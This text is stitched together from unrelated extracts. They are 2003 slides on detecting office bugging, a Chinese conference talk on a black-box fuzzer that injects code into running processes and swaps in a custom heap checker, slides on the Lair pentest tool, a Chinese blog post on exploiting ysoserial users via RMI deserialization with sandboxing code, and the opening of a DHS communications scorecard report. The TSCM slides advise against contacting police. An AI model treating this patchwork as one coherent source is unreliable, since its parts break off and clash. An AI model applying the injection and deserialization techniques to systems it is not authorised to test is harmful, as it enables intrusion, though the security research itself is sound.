air conditioning, telephone, and even the occasional false fire alarm.
Copyright 2003 Corporate
Defense Strategies
36
TSCM
Signs that your offices are “Bugged”
Service or delivery trucks are often parked nearby
with nobody (you can see) in them.
These vehicles are commonly used as listening posts, be very cautious of any vehicle
which has a ladder or pipe rack on the roof. Also, be wary of any vehicle which has
tinted windows, or an area which you cannot see though (like a service van). The
listening post vehicle could be any vehicle from a small Geo Tracker, Suburban, Blazer,
Trooper, or Cargo Van. Look for any vehicle which could conceal a person in the back or
has tinted windows. Also, keep in mind that the eavesdropper may relocate the vehicle
several times, so look around. Typically, eavesdroppers like to get within 500-750 feet
from the place or person they are eavesdropping on.
Copyright 2003 Corporate
Defense Strategies
37
TSCM
Signs that your offices are “Bugged”
Your door locks suddenly don't "feel right", they suddenly start to get "sticky", or
they completely fail.
Prime evidence that the lock has been picked, manipulated, or bypassed. Try to always
use biaxial locks with sidebars (such as ASSA or Medeco). Also, only use double sided
deadbolts in all doors, and good quality window bars on all windows, and a good quality
door bar on all doors not used as a primary entry doors.
Furniture has been moved slightly, and no one knows why.
A very popular location for the installation of eavesdropping device is either behind, or
inside furniture (couch, chair, lamp, etc.) People who live or work in a targeted area tend
to notice when furnishings have been moved even a fraction of an inch. Pay close
attention to the imprint which furniture makes on rugs, and the position of lamps shades.
Also watch the distance between furniture and the wall as eavesdroppers are usually in
a hurry and rarely put the furniture back in the right place.
Copyright 2003 Corporate
Defense Strategies
38
TSCM
Signs that your offices are “Bugged”
Things "seem" to have been rummaged through, but nothing is missing
(at least that you noticed).
A "less than professional spy" will often rummage through a targets home for hours, but
very rarely will they do it in a neat and orderly fashion. The most common "rummaging"
targets are the backs of desk drawers, the bottom of file cabinets, closets, and dresser
drawers.
Copyright 2003 Corporate
Defense Strategies
39
TSCM
Who Gets “Bugged”?
Copyright 2003 Corporate
Defense Strategies
40
TSCM
Who Gets “Bugged”?
Attorney
Doctor
Chiropractor
Dentist
Architect
Police Officer
Court Clerk
Judge
Elected to any public office
Any type Sales or Marketing
Labor or Union Official
Fashion
Advertising
Personnel Directors
Mayor
Selectman
School Principal
College Professor
Product Engineer
Software Developer
Executive at any large company
Scientist at any large company
Employed by any defense contractor
Employed by the Department of Energy
Any minister or religious leader
Corporate Buyer or Purchasing Agent
Employee of a Construction Contractor
High Threat Occupations
Copyright 2003 Corporate
Defense Strategies
41
TSCM
Who Gets “Bugged”?
Involved in any type of litigation or lawsuit
Been questioned, arrested or arraigned by the police
In the process of getting married, divorced, or separated
A minister or religious leader (i.e.: priest, rabbi, deacon, bishop, elder...)
Running for any type of elected public office
Elected to any public office (i.e.: mayor, selectman, school principal)
Executive or scientist at any large company
Recently filed a insurance claim
Engaging in political demonstrations or activism
Employed by a defense contractor, Department of Energy, etc...
Private Investigators have been "poking" around
You are in the upper income bracket
High Threat Personal Situations
Copyright 2003 Corporate
Defense Strategies
42
TSCM
Who Gets “Bugged”?
Your company has stock which is publicly traded (or will be soon)
Your company is having labor problems, union activities, or negotiations
Your company is involved in any type of litigation or lawsuit
Your company has layoffs pending (or they have just happened)
Your company is involved in the fashion, automotive, advertising, or marketing industry
Anyone can be the target of covert eavesdropping, however; some people are under greater risk than others
because of financial position, occupation, legal, or domestic situation.
Spouses bug each other on a regular basis
Parents bug children
Businessmen bug other businessmen
Scientists bug other scientists
Students bug professors
Attorneys bug other attorneys (and their clients)
Insurance companies bug accident victims, and other claimants
Construction companies bug other construction companies
Salesmen bug clients
Collection agencies bug debtors
Police officers bug suspects
Executive recruiters bug personnel directors
Rock fans bug rock musicians
Department stores bug customers and merchandise
High Threat Business Situations
Copyright 2003 Corporate
Defense Strategies
43
TSCM
Spy Shop “Toys”
Copyright 2003 Corporate
Defense Strategies
44
TSCM
Spy Shop “Toys”
The U.S. State Department estimates that at least 800 million dollars of illegal
bugging and eavesdropping equipment is imported and installed into
corporations in the United States each year. The majority of this equipment is illegally
imported into the United States from France, Germany, Lebanon, Italy, Canada, Israeli, England, Japan,
Taiwan, South Africa, and a host of other countries. Additionally, anyone with a soldering iron and a basic
understanding of electronics can build and install an eavesdropping device. The raw materials to build such
a device may be easily obtained at Radio Shack, or salvaged from consumer electronic devices such as
cordless telephones, intercom systems, and televisions. In the United States over six millions dollars worth
of surveillance devices are sold to the public each day. Most of these products are sold from storefront
operations, spy shops, attorneys, and via private investigators located in major metro areas such as New
York, Miami, Los Angles, San Francisco, Dallas, Chicago, and Minneapolis. This does not include the tens
of billions spent each year for legitimate eavesdropping products purchased by law enforcement, military,
and intelligence agencies. This equipment is commonly sold over the counter, via mail order, and through
the Internet. Most of these bugging devices cost only a few dollars, but highly sophisticated, quality products
may be purchased for less than one thousand dollars. In New York City alone there are over 85 companies
which will not only sell you the eavesdropping device, but will break into the targets office to install the
device, and for an additional fee will provide a monitoring and transcription service.
Copyright 2003 Corporate
Defense Strategies
45
TSCM
Spy Shop “Toys”
The FBI and other federal law enforcement agencies have repeatedly
indicated that they lack the resources and training to enforce or properly
investigate the technical security threat within the United States.
Technical surveillance and industrial espionage is a serious problem which
can have a VERY GRAVE IMPACT on
your company and your own personal freedoms.
Copyright 2003 Corporate
Defense Strategies
46
TSCM
What to do if you
suspect you’ve been
“bugged”
Copyright 2003 Corporate
Defense Strategies
47
TSCM
What to do if you suspect you’ve been “bugged”
1. Contact a qualified TSCM firm. (Corporate attorneys are a good resource
for this type of information)
2. Make contact from a place other then the suspect location.
3. Do NOT call the telephone company for help.
4. Do NOT call the police of the FBI for help.
5. Do NOT discuss your suspicions with anyone else, except on a need to know
basis.
Copyright 2003 Corporate
Defense Strategies
48
TSCM
Planning and
execution of a proper
sweep
Copyright 2003 Corporate
Defense Strategies
49
TSCM
Planning and execution of a proper sweep
1. Client Initiates Secure Contact
Client reviews Granite Island Group's web site and related TSCM materials
Contact is made away from suspect facility (pay phone at airport, etc...)
Contact is not made via a suspect telephone, cordless, or cellular telephone
Initial arrangements for secure face-to-face meeting (if requested)
Materials sent to Granite Island Group regarding suspect facility
2. Initial Meeting and Commissioning
Initial and secure face-to-face meeting (if requested)
Initial meeting at sterile location away from any suspect facility
Discussion regarding clients concerns, and vulnerabilities
Commissioning of TSCM services, if appropriate
Formulate plan in case an eavesdropping device or security hazard is found
Copyright 2003 Corporate
Defense Strategies
50
TSCM
Planning and execution of a proper sweep
3. Pre-Inspection Survey, Research, and Facility Reconnaissance
Review of facility blueprints
External RF survey (9 kHz to 26.5/40 GHz)
Facility exterior reconnaissance
4. Vulnerability Analysis
Threat assessment
Physical security assessment
Electronic security assessment
Internal RF survey
Audit of communications systems and facilities
Inventory of furnishings, fixtures, and artifacts
Evaluation of structural elements (walls, ceilings, floors)
Sketch of suspect area and facilities
Identification of sensitive areas
Development of threat model
Performed during normal office hours (with appropriate cover)
Copyright 2003 Corporate
Defense Strategies
51
TSCM
Planning and execution of a proper sweep
5. Silent/Passive Walk-Thru
No noise, non alerting activities only, nothing to alert the eavesdropper
Automated bug and wireless microphone detection (9 kHz to 3 GHz)
Initial VLF inspection of all AC, telecom, LAN, and HVAC wiring
Initial detection of infrared devices and laser surveillance devices
Video camera, tape recorder, VLF, and ultrasonic detection
Overt threat detection
Initial evaluation of physical security, locks, alarms, etc...
Most PI, spy shop, and amateur bugs will be detected during this phase
Very popular as it only takes 4 hours for a brief "Walk Though Inspection"
TSCM services above this level starts radically increasing in cost
6. Passive Inspection - RF and Light Spectrum Monitoring
No noise and non alerting activities only, nothing to alert the eavesdropper
Music softly playing, "client on phone", drapes pulled
Full passive RF spectrum sweep (20 Hz to above 110 GHz)
Full passive light spectrum sweep (300nm to 1710nm / 83 THz to 450 THz)
Most PI, spy shop, and advanced amateur bugs will be detected during this phase
Copyright 2003 Corporate
Defense Strategies
52
TSCM
Planning and execution of a proper sweep
7. Active Inspection - Non Alerting
Minor Noise is created, however; it should not alert the eavesdropper
VLF/RF check - AC mains (all electrical outlets)
VLF/RF check - AC mains (all light switches/fixtures)
VLF/RF check - HVAC controls
VLF/RF check - Alarm and access control sensors
VLF/RF check - Fire and safety sensors/alarms
VLF/RF check - Other
All phone lines evaluated and traced back to central office
All artifacts documented, recorded, and inspected
Oblique lighting inspection of all walls and artifacts
Initial inspection of baseboards, windows frames, and door jambs
Initial inspection of all wall plates (electrical, PBX, LAN)
UV lighting sweep (below 400nm / 100THz)
IR lighting sweep (above 700nm / 180THz)
Visible spectrum light sweep (350nm to 750nm / 90THz to 195THz)
Tuned forensic light source and filter sweep (250nm to 1750nm / 65THz to 455THz)
Check for telephone set modifications/problems
Check for PBX software and hardware anomalies
Check for voice mail modifications/problems
Inspection of all computer and LAN connections
Inspection of all laser printers and computer output devices
Law enforcement and professional bugs will be detected during this phase
Typical threat level for most corporate offices
Copyright 2003 Corporate
Defense Strategies
53
TSCM
Planning and execution of a proper sweep
8. Active Scan - Alerting
Chirp detection of hidden microphones and other transducers
IR, audio, and ultrasonic jamming (as required)
Render the eavesdropping device temporarily inoperative
Inspection of all furnishings (desks, chairs, plants, etc)
Open ceilings and walls (move ceiling tiles and panels)
Thermal inspection
HVAC and duct work inspection
Acoustical leakage inspection
Bore scope inspection of all electrical wall plates and boxes
Detailed inspection of all lighting fixtures
Inventory of all conductors, conduits, wall studs, etc...
Detailed electromagnetic energy search (above 110 GHz)
Professional eavesdropping devices will be detected during this phase
Typical threat level for a Fortune 500 corporate offices and law firms
Copyright 2003 Corporate
Defense Strategies
54
TSCM
Planning and execution of a proper sweep
9. Active Scan - Alerting/Evaluation
Verify and TDR/FEXT/NEXT trace all conductors
TDR trace - Telephone System Wiring
TDR trace - Computer Network Wiring
TDR trace - Cable Television and CCTV
TDR trace - AC mains (all electrical wiring)
TDR trace - AC mains (all light switches/fixtures)
TDR trace - HVAC controls
TDR trace - Alarm and access control sensors
TDR trace - Fire and safety sensors/alarms
TDR trace - Other
PBX, ESS, and SN translation evaluated (as available)
Voice mail system evaluation
Xerox machine inspection
Fax machine inspection
Verify security of PBX, alarm, HVAC, audio systems
Evaluate all artifacts (i.e.: furniture, books, computers, etc...)
Wall, floor, and ceiling cavity inspections
Intense physical inspection (every cubic centimeter)
Diplomatic, law enforcement, and intelligence devices detected at this phase
Typical threat level for attorneys, defense contractors, and aerospace firms
Copyright 2003 Corporate
Defense Strategies
55
TSCM
Planning and execution of a proper sweep
10.
Special Inspection Activities (used only as needed)
Non Linear Junction Detector (NLJD) inspection - active and passive
X-ray, radiographic, and fluoroscope inspection
Magnetic anomaly inspection
11.
Preventive Actions (available only by special request)
Seal and dust all cavities, wall plates, artifacts, etc...
Install acoustic, ultrasonic, IR, and RF "cloak" as needed
Install IPM alarms and associated security system
Installation of encryption devices
Installation of high security locks, doors, and hinges
Installation of physical security devices
Client education and training
Copyright 2003 Corporate
Defense Strategies
56
TSCM
Planning and execution of a proper sweep
12.
Post Inspection Activities
Verbal presentation of findings before leaving
Presentation of hard copy report (if requested)
Corrective actions
Follow up actions
Recurring TSCM services (if appropriate)
13.
If an Eavesdropping Device or Activity is Detected
Collection of documentation regarding device or activity
Notification of Law Enforcement Agencies (if appropriate)
Forensic Identification and Analysis of Device
Counter-surveillance activities
Counter-intelligence activities
Copyright 2003 Corporate
Defense Strategies
57
TSCM
Conclusion
Thanks to
The Granite Island Group
Gloucester, MA | pdf |
D u m a r t f u z z e r ：
M a k e t h e d u m b f u z z e r
s m a r t
陈振宇 个人安全研究员
背景
•
内存类漏洞占很大比例
•
Fuzzing仍然是发现内存类漏洞的重要手段
•
有源码fuzzing工具已经很完善
•
无源码fuzzing的方法缺点较多，一般无源码
的Fuzzing也叫黑盒fuzz
•
有时不得不进行黑盒fuzz。如闭源项目。
背景：黑盒fuzz的困难
•
状态机
•
dlopen
•
qemu, unicorn
•
效率低
•
缺乏路径反馈
•
没有路径反馈的一般称为dumb fuzz，反之会叫smart fuzz
•
没有地址消杀器
•
fuzzing without ASAN is a waste of CPU
状态机：是什么，为什么麻烦
•
所有CPU以及内存里的值
•
指针，虚函数表等
•
变量（内存）里保存的值
•
某状态时，cpu寄存器的值
大型软件中，对象间有聚合，依赖，
包含。所有对象都需要满足才能运行。
要运行fuzz，有时即使有源码也是很
复杂的事情 。
背景：如何能做一个最简单的黑盒fuzz
•
简单来说，需要2点：
•
1、fuzz就是不断地运行某一段代码每次运行，输入变异了的参数
•
2、要运行一段代码，需要准备好代码运行的上下文。这个上下文有时又叫状态机。
状态机：如何简单地获取状态机，提高效率
•
状态机天然在存在我们的测试环境里（业务可以正常运行）。
•
直接发送报文（效率低），只能从处理入口开始fuzz，崩溃检测慢
•
如果可以在正常运行的程序中注入我们的代码就可以获得这个状态机和不断运行被测试对象。
效率会大大提升。
——进程注入( https://github.com/gaffe23/linux-inject)
•
使用系统调用fork，保存系统状态
•
在新进程中可以选择任意函数，甚至任意片段进行fuzz
目标进程
libfuzzer.s
o
inject
Fork process
with state
machine
libfuzzer.so
fork
新进程是Fuzzer
原进程继续运行
状态机：注入原理
•
是通过ptrace在目标进程写入一段二进制代码
•
二进制代码执行了__libc_dlopen_mode，把
目标库加载进进程空间
•
恢复进程原本上下文
目标进程
inject
bin code
libfuzzer.so
加载
状态机: 为什么不在原进程fuzz
•
其实是可以的
•
但是：
•
一些嵌入式系统有看门狗，在原进程上fuzzing，可能由于响应慢等导致非漏洞的重启
•
需要启动一个新线程来做fuzz
•
效率较低
•
全局变量的访问
Fuzzer: 快照，快照的作用
•
Afl 有fork server，会不停地执行fork来运行一次测
试对象
•
Fork可以恢复运行的状态。但是时间开销较大。
•
Afl就有persistent mode减少fork开销。假定每次
运行都是无状态的 。重复运行测试对象。
•
Dumart fuzzer模仿persistent mode。保存快照。
用于恢复。
Fuzzer: 保存快照，怎么保存
•
内存:
•
扫描进程的内存空间，保存目标的可写段
•
所有堆内存
•
不是一个变量一个变量地记录。整个段保存下来。
•
寄存器:
•
在需要保存状态的地方设置断点，通过断点处理程序记录寄存器状态
Fuzzer: 崩溃检测
•
内存类漏洞崩溃时到底发生了什么?
•
收到信号SIGSEGV
•
注册SIGSEGV信号处理程序，接管SIGSEGV信号
•
Unique crash detect: 检查RIP是否唯一
•
Unique crash 则保存输入
•
恢复上下文
SIGSEGV
handler
保存输入及定
位信息
检测unique
crash
恢复状态，继
续fuzz
YES
NO
Fuzzer: 路径反馈是什么
•
路径反馈可以让fuzz运行的更深
•
发现更多问题
•
这是smart fuzz和dumb fuzz最重要的区别
Fuzzer: 路径反馈
•
通过ida脚本，把被测对象的所有block的地址记录下来
•
断点
•
在每个代码块的起始地址改写为断点指令(int 3)
•
注册信号处理程序
•
触发新代码块的输入作为种子保存
•
恢复原本的指令
•
继续运行
Block A
Block B
Block C
Int 3
Int 3
Int 3
RIP
Original
code
RIP
Original
code
Fuzzer: 路径反馈
•
打断点
•
断点触发，
•
恢复代码
ASAN：是什么
•
发生内存类漏洞时，程序是否一定有异常表现？
•
NO。如小量越界读写，只要不是读写发生在非法地址，程序是不会崩溃的。
•
UAF类型漏洞，程序崩溃现场，调用栈上很可能是没有漏洞的。因为这不是漏洞发生的第一
现场。给定位问题带来困难。
ASAN，一种内存类型漏洞检测技术，在溢出，UAF等漏洞发生时，马上触发程序崩溃
ASAN：编译器实现
•
源码
•
没有ASAN
•
开启ASAN
•
ASAN的编译器实现
•
编译时插桩
•
Shadow memory，动态库支持
•
以上2个条件都是黑盒fuzz不具备的
•
所以需要实现一个带asan功能的堆，替换libc的堆
•
堆函数的替换方式，GOT表覆盖。
黑盒ASAN
目标模块
Got: malloc
Got: free
Got: my_malloc
Got: my_free
黑盒ASAN：上溢出检测
•
检测原理，页属性，读，写，执行。
•
准备2个相邻的页作为一个基本内存管理单元（chunk)，其中一个是不可读写，
用于作越界检测。
Readable and writable
Not readable not writable
•
Return pointer
size
上溢出检测
•
my_malloc(size) :
•
使用return pointer，如果访问超过size，会触发段错误
可访问边界
低地址
高地址
黑盒ASAN：下溢出检测
•
检测原理，页属性，读，写，执行。
Not readable not writable
Readable and writable
•
Return pointer
•
my_malloc(size) :
•
下溢出检测
•
检测上溢出和下溢出的chunk随机提供
低地址
高地址
黑盒ASAN: UAF
•
运行一次被测片段时，chunk不需要重用
•
设置页不可读不可写
•
运行完成一次被测片段，重新初始化堆
•
my_free(ptr) :
Readable and writable
Not readable not writable
Not readable not writable
ptr
•
释放后再使用ptr会触发段错误
黑盒ASAN：chunk的管理
•
libc为了复用，chunk使用链表
•
为了效率，这里chunk的管理使用数组。
•
数组每一项管理一个chunk。
•
一次分配一块连续很大的内存（知道基址）
•
设置页属性（可/不可读写）
•
这样保证了chunk是连续的
•
然后有一个管理结构（数组），对应每一个chunk
•
通过地址可以知道下标
•
不是我们定义chunk范围的指针，交给libc处理。
黑盒ASAN: double free
•
运行一次代码片段时，chunk是不会真正
free的。
•
每个Chunk有一个管理结构。记录是分配状
态还是释放状态。
•
在free(ptr)时，会检查这个状态是否已经是
free。是则发生了double free。
黑盒ASAN:内存泄露
•
检测原理，chunk在运行一次过程中，是没有真正释放
的（只是设置页属性为不可读写）
•
运行完一段代码片段一次时，检查malloc和free的数量
是否一致。
•
但是这个检测准确的前提是，业务中的堆内存不会保存
到全局变量中后续使用。
Fuzzer框架
Dumart fuzzer
corpus
Mutator
Fuzzer
Target
Crash detector
Bin patcher
保存导致crash的输入
动态patch，插入断点
新路径发现则
加到corpus
随机选择种子
输入
GOT hooker
DEMO
背景：各种黑盒Fuzz工具比较
路径反馈
ASAN
效率
状态机
其他
Afl-qemu
Edge反馈
QASAN
中
困难
Afl unicorn
Edge反馈
不支持
中
困难
peach
不支持
不支持
低
困难
Dumb fuzz
Frida-fuzzer
Edge反馈
不支持
高
容易
Dumart
fuzzer
Block反馈
支持
很高
容易
需要有root权限的
真实设备
为什么叫Dumart fuzz
•
Make dumb fuzz smart
without SB
dumart
Todo: edge反馈
•
参考AFL
•
动态hook，跳转AFL_maybe_log
•
加入位图，记录edge状态
Block
Original
code
Jmp xxx
Original
code
Call
afl_maybe_log
Jmp back
Todo
•
更多的架构：如Arm
•
变异加入字典功能等 | pdf |
Collaborative Penetration Testing
With Lair
About Us
• Tom Steele
– Consultant at FishNet Security
– @_tomsteele
• Dan Kottmann
– Consultant at FishNet Security
– Security assessments
– Hobbyist coder
– @djkottmann
The Problem
Lair
What is Lair
• Web application for managing and tracking
the execution of network assessments
• Simplifies effort needed to execute a
comprehensive, systematic pentest
• Open-source project sponsored by FishNet
Security
• Imports , aggregates, and normalizes output
from automated tools
Why is it different?
• Updates pushed to distributed testers in near
real-time (really real-time, no really)
– Reduces duplication of effort
• Workflow
• Status tracking
– Enhances information sharing
• Credentials/hashes found
• Manually identified vulnerabilities
• Successful exploitation
• False positives
• Screenshots
– Team Instant Messaging
Technology
• Web application built on Node.js and Meteor
– Simplifies real-time synchronization of information
across multiple, distributed clients
– Pub/sub concept
– No need to fight web sockets
• Python used for Drones
• MongoDb used for database backend
Architecture
Long Demo Now
Download it
https://bitbucket.org/fnsseca/lair | pdf |
0x01 前言
看到赛博回忆录白白白师傅发了一篇反制ysoserial的文章，于是兴高采烈的准备自己试一把。结果在自己动手操作的时
候，pa一下，没打成功。于是和木头师傅探讨了一下，因为当时有事，第二天才去调试，发现了这个乌龙。。那就分享
一下思路。
0x02 正片
一、 ysoserial反制
registry.list和registry.bind，这两处就是调用的原生的RegistryImpl_Stub，会触发UnicastRef#invoke-
>StreamRemoteCall#executeCall导致反序列化，这里就有反序列化点了。
一开始我对反制存疑，可以看到这里存在了java沙箱的机值，会限制命令的执行。：
后来验证了一下，还真得到了这样的结果：
可以看到确实在右边的最底下可以看到存在自定义的SercurityManager去限制了命令的执行，可以看到箭头上面所指的
地方，这里是在exploit这个方法中执行并捕捉到了命令执行的问题，我们去看源代码：
可以看到第二个箭头所指向的地方，在exploit执行的时候，确实是将整段代码放在沙箱内去执行的。但是我们可以看到
箭头1所指向的位置，理应在这里就会执行反序列化而导致命令的执行。
二、 调试
因为报错信息里面没有关于list方法的报错，先推断一下，我们再去跟着源代码调试一下。
既然list方法并没有执行成功，那应该在这个方法内部会抛出异常。
可以看到list函数抛出了两个异常，分别是AccessException和RemoteException，后面throw的异常都是这两个大类的子
类，应该是会捕获的。上图的try,catch块是捕获ConnectIOException，是RemoteException的子类，应该捕获不了，希望
知道的师傅可以解答一下。
后来当我把jar包拖入idea的时候我傻眼了。我以为用的是最新版本，结果用的是历史版本。
可以看到2018.4.23次的提交支持了sslrmi，在之前用list方法测试了一下，导致了反制的问题。也就是在这个版本之前的
是不会在这个点被反制利用的。
三、 ExecCheckingSecurityManager
那么我们正好来看一下，能否反反制。可以看到ysoserial内置了两个自定义的SecurityManager。而exploit方法内使用的
是第二个sm。让我们来玩玩sm，不是，看看这个sm。
类成员和方法在左边，挑一些说。可以看到checkExec继承父类的方法，这里的cmd参数表示系统特定的命令，在本次调
试中就是 cmd.exe 。后面可以看到抛出了异常[在类对象生成的时候将throwException参数设成了true]。这个
ExecException类的getMessage方法可以在上下文中看到。
接下来看第二个callWrapped方法。
可以看到，首先将系统的sm通过局部变量先保存起来，再将系统的sm设置成当前的ExecCheckingSecurityManager对
象。try块里面调用了callable（可以当作是Runnable接口的增强版）的call方法启动了新的线程，并将结果返回。因为我
们前面提到过，在 ysoserial.secmgr.ExecCheckingSecurityManager 对象生成的时候将throwException参数设成了true，
所以只要进行了命令执行的方法，sm一定会进入checkExec方法，那么一定会直接抛出错误。所以在这里将命令执行终
止。
后续又看了一下绕过沙盒的办法，感觉不适用于此处在checkExec直接抛出异常的问题。
四 、 反反制
上面exploit方法没有执行成功的原因就是把代码放在了沙箱内去执行，所以反反制的方法也非常简单，在try块的list方
法外裹上ysoserial自定义的沙盒。
1.内部类中使用但未声明的任何局部变量必须在内部类的正文之前明确分配。Java匿名内部类的方法中用到的局部变量
都必须定义为final
所以我声明了一下，并且在内部方法内就要捕获这个异常。但是为了照顾到下面的exploit方法，我们必须要将call方法
的参数值进行一个返回，并用一个新的变量接收沙箱内执行的结果。
本来的情况：
final Registry sandboxRegistry = registry; //将上面getRegistry获取到的registry放到final变量，方便沙盒内的
Registry receivedRegistry = new ExecCheckingSecurityManager().callWrapped(new Callable<Registry>(){pub
try {
sandboxRegistry.list();
} catch (ConnectIOException ex) {
ex.printStackTrace();
return LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());//处理证书的问题
}
return null;
}});
if (registry3 != null){ //对返回的参数进行判断
exploit(receivedRegistry, payloadClass, command);
}else {
exploit(registry, payloadClass, command);
}
修改之后的情况：
那么其他工具也可以类推在这些危险方法的内部加上沙盒。
如果有什么错误欢迎各位师傅指正。
0x03 参考：
白白白师傅的文章。
https://www.anquanke.com/post/id/151398 关于沙盒绕过的文章 | pdf |
Urban/Metropolitan Area
i
December 2006
Tactical Interoperable Communications Scorecards
Tactical Interoperable Communications Scorecards
Tactical Interoperable Communications Scorecards
Tactical Interoperable Communications Scorecards
Tactical Interoperable Communications Scorecards
Summary Report and Findings
Summary Report and Findings
Summary Report and Findings
Summary Report and Findings
January 2007
January 2007
January 2007
January 2007
Urban/Metropolitan Area
ii
January 2007
Tactical Interoperable Communications Scorecards
TTTTABLE OF CONTENTS
ABLE OF CONTENTS
ABLE OF CONTENTS
ABLE OF CONTENTS
TABLE OF CONTENTS
TABLE OF CONTENTS
TABLE OF CONTENTS
TABLE OF CONTENTS................................
................................
................................
................................................................
................................
................................
................................................................
................................
................................
.....................................................
.....................
.....................
.....................IIIIIIII
EXECUTIVE SUMMARY
EXECUTIVE SUMMARY
EXECUTIVE SUMMARY
EXECUTIVE SUMMARY ................................
................................
................................
................................................................
................................
................................
................................................................
................................
................................
..................................................
..................
..................
..................III
IIIIII
III
INTRODUCTION
INTRODUCTION
INTRODUCTION
INTRODUCTION................................
................................
................................
................................................................
................................
................................
................................................................
................................
................................
...............................................................
...............................
...............................
...............................1111
The Need for a Scorecard ........................................................................................... 1
Scorecard Creation...................................................................................................... 1
Maturity Levels of Tactical Interoperable Communications.......................................... 3
Achieving Tactical Interoperable Communications ...................................................... 4
Scorecard Development Overview .............................................................................. 6
Benefits and Results for Urban/Metropolitan Areas..................................................... 6
PRELIMINAR
PRELIMINAR
PRELIMINAR
PRELIMINARY SCORECARD FINDINGS
Y SCORECARD FINDINGS
Y SCORECARD FINDINGS
Y SCORECARD FINDINGS................................
................................
................................
................................................................
................................
................................
........................................................
........................
........................
........................8888
General Scorecard Trends........................................................................................... 8
Governance Findings.......................................................................................................... 9
Standard Operating Procedures (SOP) Findings .............................................................. 11
Usage Findings................................................................................................................. 13
NEXT STEPS FOR FY 20
NEXT STEPS FOR FY 20
NEXT STEPS FOR FY 20
NEXT STEPS FOR FY 2007
07
07
07 ................................
................................
................................
................................................................
................................
................................
................................................................
................................
................................
.........................................
.........
.........
......... 15
15
15
15
Conclusion................................................................................................................. 15
APPENDIX A: URBAN AR
APPENDIX A: URBAN AR
APPENDIX A: URBAN AR
APPENDIX A: URBAN AREA SCORECARDS
EA SCORECARDS
EA SCORECARDS
EA SCORECARDS................................
................................
................................
................................................................
................................
................................
..............................................
..............
..............
.............. AAAA----1111
APPENDIX B: METROPOL
APPENDIX B: METROPOL
APPENDIX B: METROPOL
APPENDIX B: METROPOLITAN AREA SCORECARDS
ITAN AREA SCORECARDS
ITAN AREA SCORECARDS
ITAN AREA SCORECARDS................................
................................
................................
...............................................................
...............................
...............................
............................... BBBB----1111
Urban/Metropolitan Area
iii
January 2007
Tactical Interoperable Communications Scorecards
EXECUTIVE SUMMARY
EXECUTIVE SUMMARY
EXECUTIVE SUMMARY
EXECUTIVE SUMMARY
The tactical interoperable communications scorecard assesses the maturity of tactical
interoperable communications capabilities in 75 urban/metropolitan1 areas. These scorecards
were developed by subject matter expert panels that reviewed documentation on current
communications plans, exercises, and a self-assessment to arrive at consensus findings and
recommendations for each region on how to best improve that region’s communications
capabilities. These scorecards and the recommendations included are being distributed directly to
each of the urban/metropolitan areas to focus their regional efforts to improve tactical interoperable
communications. The Department of Homeland Security (DHS) is using these scorecards to focus
technical assistance programs and target specific areas of improvement in communications
interoperability.
Overall, the scorecard results show that urban/metropolitan areas have come a long way in
improving their tactical interoperable communications capabilities. As documented in the
SAFECOM National Baseline Assessment, the technology exists to permit interoperable
communications, but solutions are often not available regionally and are far from seamless in many
areas. Continued training on available technical solutions and procedures for their use is critical to
operational success. Even in areas that have demonstrated success at the tactical, command-
level of communications interoperability, there is still work to be done. Multi-agency
communications have been addressed within many of these jurisdictions, but regionalizing the
existing communications strategies to identify longer term interoperability goals across multiple
jurisdictions and levels of government still needs to be addressed.
The scorecard evalution specifically focuses on Governance, Standard Operating Procedures
(SOP), and Usage elements of the SAFECOM Interoperability Continuum. Preliminary findings for
these areas include—
Governance—Areas with mature governance structures have advanced further in implementing
shared systems/solutions that facilitate regional communications. Regionalized strategic plans are
largely not in place and should be developed for communications interoperability with careful
consideration for how investments can be shared across the region.
SOPs—For many of the urban areas, the Tactical Interoperable Communications Plans (TICP)
developed through the Interoperable Communications Technical Assistance Program (ICTAP)
provided the first formal, regionwide communications interoperability SOPs. Additional steps
should be taken to ensure that these procedures (as well as those outlined in the National Incident
Management System) are fully instituted at the command and responder levels.
Usage—The proficiency in the use of communications interoperability equipment and
accompanying procedures varies by the types of equipment used and is increasingly complex as
additional agencies are included in response efforts. In addition, almost no region had completed
a communications-focused exercise before the TICP validation exercise, which meant that the
areas had no specific practice using their interoperable communications capabilities.
A more comprehensive analysis of the scorecards will be developed during the second quarter of
fiscal year (FY) 2007 to support the scorecards provided to the urban/metropolitan areas and to
outline additional trends in the data and scorecards. With this information, DHS will continue to
align its programs and resources to best address the communications needs of first responders.
1 Urban areas are those areas that were previously defined under the FY 2005 Homeland Security Grant Program. Metropolitan areas
were not part of UASI but were selected by each state to participate in the Office of Grants and Training TICP process.
Urban/Metropolitan Area
1
January 2007
Tactical Interoperable Communications Scorecards
INTRODUCTION
INTRODUCTION
INTRODUCTION
INTRODUCTION
The Tactical Interoperable Communications Scorecard represents the first measurement of the
maturity of communications interoperability in urban/metropolitan areas across the Nation. The
results show that urban/metropolitan areas have come a long way in developing their tactical
interoperable communications capabilities. As reiterated in the SAFECOM National Baseline
Assessment, technology exists to permit interoperable communications, but solutions are often not
available regionally and are far from seamless in many areas. The scorecards confirm this fact
and show that continued training on available technical solutions and their procedures for use is
critical to operational success. In areas that have demonstrated success at the tactical, command-
level of communications interoperability, there is still work to be done. The scorecard process
highlighted how multi-agency communications has been addressed within many jurisdictions, but
regionalizing the existing communications strategies to identify longer term interoperability goals
across multiple jurisdictions and levels of government should be addressed.
The Need for a Scorecard
The Need for a Scorecard
The Need for a Scorecard
The Need for a Scorecard
The tactical interoperable communications2 scorecard
effort executes a pledge to provide each urban area with
a scorecard made by Department of Homeland Security
(DHS) Secretary Michael Chertoff, while speaking to the
attendees at the Tactical Interoperable Communications
Conference in May 2006. To fulfill this pledge, the DHS
Office of Grants and Training (G&T), in consultation with
SAFECOM and the Wireless Management Office (WMO),
developed a scorecard that assesses the maturity of
tactical interoperable communications capabilities in 75
urban/metropolitan3 areas.
The scorecard provides an assessment of the progress each
urban/metropolitan area has individually achieved with its
available means of tactical interoperable communications
across three elements (Governance, Standard Operating
Procedures [SOP], Usage) of the SAFECOM Interoperability
Continuum. The scorecard also provides recommendations
on how to best improve an urban/metropolitan area’s
capabilities
in
the
immediate
future
using
existing
technologies.
Scorecard C
Scorecard C
Scorecard C
Scorecard Creation
reation
reation
reation
Each scorecard is composed of three main sections. The first section, the Summary, provides a
map of the urban/metropolitan area, summary results, and a description of the jurisdictions that
comprise the area. The second section, the Findings, includes details on the successes and
challenges faced by the urban/metropolitan area, followed by recommendations for the area to
2 Note that tactical interoperability in this context does not address events that result in catastrophic failure or loss of equipment
